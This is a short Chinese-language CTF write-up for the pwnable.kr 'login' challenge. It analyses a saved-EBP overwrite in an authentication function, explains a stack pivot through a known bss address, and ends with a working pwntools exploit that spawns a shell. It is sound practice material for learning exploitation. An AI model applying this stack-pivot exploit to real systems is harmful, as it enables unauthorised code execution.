Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
先看看ida里面的逻辑。
比较重要的信息时input变量再bss段上,并且没有PIE保护,这样一来就有了一个已知的地址(这很重要
需要输入的是信息的base64编码,而input变量中存储的是输入信息base解码后的内容。
继续跟踪auth函数,发现了一个溢出。
变量v4放在ebp-8的位置,而最多会复制a1长(a1<=0xC),因此会覆盖了EBP。
尝试一下,输入P4NDA_P4NDA_的base64编码(UDROREFfUDROREFf)
果然产生了段错误。
然而仅仅覆盖了EBP,EBP的作用是调整栈帧结构。
leave ;mov esp ebp pop ebp
ret ;pop eip
因此,当利用溢出覆盖后,修改的是上一个栈的EBP也就是main函数栈,当main函数结束时会有问题。
思路是将EBP覆盖成引导ESP指向包含SHELL地址的内存。进一步在ret时控制eip跳转。
该位置可以选择input变量地址,因为该地址已知。
#coding:utf-8 from pwn import * debug = 1 if debug: pro = process('./login') else: pro = remote('pwnable.kr',9003) #print pro.recvline() input_addr = 0x0811eb40 sys_shell = 0x8049278 payload = 'a'*4 + p32(sys_shell) + p32(input_addr) pro.send(payload.encode('base64')) pro.interactive()